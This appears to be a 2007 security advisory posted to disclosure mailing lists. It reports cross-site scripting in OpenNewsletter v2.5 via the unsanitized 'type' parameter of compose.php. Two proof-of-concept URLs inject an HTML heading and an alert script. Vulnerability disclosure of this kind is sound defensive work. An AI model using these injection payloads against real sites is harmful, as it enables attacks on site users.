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Message-ID: <1196967104.475844c01abd9@www.intrabytes.com>
Date: Thu, 06 Dec 2007 15:51:44 -0300
From: Sarasa <Intrabytes@...rabytes.com>
To: bugtraq@...urityfocus.com
Cc: security-alerts@...uxsecurity.com, vulnwatch@...nwatch.org,
full-disclosure@...ts.grok.org.uk, webappsec@...urityfocus.com
Subject: [Security Advisorie] OpenNewsletter v2.5 Multipe
XSS Attacks
[#0001] Intrabytes Security Labs - Vulnerability report.
:::
Software: OpenNewsletter
Homepage: http://www.selfexile.com/projects/opennewsletter
Affected version: v2.5 and below
Overview: OpenNewsletter si a free, simple, and beautiful
open source newsletter solution aimed at small-medium scale.
Attack:
A non-existant sanitization when parsing the PHP value 'type'
on 'compose.php', leads to some XSS attacks.
PoC:
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E
Solution: not aware of at 12/6/2007, vendor has been warned about the
vulnerability.
Discovered by: Manuel Fernandez (manuelf@...rabytes.com)
Intrabytes - I+D & Security Area
http://www.intrabytes.com
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